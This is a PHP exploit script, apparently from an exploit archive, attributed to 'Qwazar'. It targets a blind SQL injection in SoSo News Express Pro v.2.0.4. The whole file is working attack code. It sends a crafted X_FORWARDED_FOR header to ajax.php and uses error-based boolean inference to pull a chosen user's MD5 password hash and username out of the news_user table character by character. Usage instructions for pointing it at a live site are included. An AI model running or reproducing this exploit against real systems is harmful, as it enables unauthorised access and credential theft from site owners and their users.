<?

//SoSo News Express Pro v.2.0.4 Blind SQL Injection Exploit by Qwazar
//Greets: antichat.ru & Orgasm at #antichat
$prefix="news_";

set_time_limit(0);
ignore_user_abort(1);

function send_xpl($url, $xpl){
	global $id;
	global $cookie;
	$u=parse_url($url);
	$req ="GET ".$u['path']."ajax.php?mod=ajax_statistic HTTP/1.1\r\n";
	$req.="Host: ".$u['host']."\r\n";
	$req.="X_FORWARDED_FOR: ".$xpl."\r\n";
	$req.="Connection: Close\r\n\r\n";
	$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
	fwrite($fs, $req);
	while (!feof($fs)) {
  		$res .= fread($fs, 8192);
	}
	fclose($fs);
	return $res;
}

function xpl($condition, $pos){
	global $id, $prefix;
	$xpl="-1' or client_ip=if(ascii(substring((select user_password from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
	return $xpl;
}

function xpl2($condition, $pos){
	global $id, $prefix;
	$xpl="-1' or client_ip=if(ascii(substring((select username from ".$prefix."user where user_id=$id),$pos,1))$condition,'1',(select 1 union select 2)) /* ";
	return $xpl;
}

if($argc<2)
{
echo "==================\r\n";
echo "Using soso2sql.php url target_id\r\n  target_id - id of target member\r\n\r\n\r\nEx.: soso2sql.php http://www.site.com/ 1\r\n";
echo "==================\r\n";
die();
}

$url=$argv[1];
$id=$argv[2];

echo $url."\r\n";

echo "Trying to get passhash: ";
//get md5 pass
for($i=1;$i<=32;$i++){	
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=97;$j<=102;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if (!$flag)
		die("\r\nExploit failed\r\n");
}
echo " [DONE]\r\n";

echo "Trying to get username: ";
for($i=1;$i<=32;$i++){
	$flag = 0;
	for($j=48;$j<=57;$j++){
		if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); if($j!=48) {echo chr(8);} echo chr($j); $flag=1; break; }
		else {if($j!=48) {echo chr(8);} echo chr($j);}
	}
	if($flag!=1) {
		for($j=65;$j<=90;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		for($j=97;$j<=122;$j++){
			if(!preg_match('/Subquery returns/', send_xpl($url, xpl2('='.$j,$i)))){ $secret.=chr($j); echo chr(8).chr($j); $flag=1; break; }
			else {echo chr(8).chr($j);}
		}
	}
	if($flag!=1) {
		echo chr(8);
		break;
	}
} 

echo " [DONE]\r\n";

?>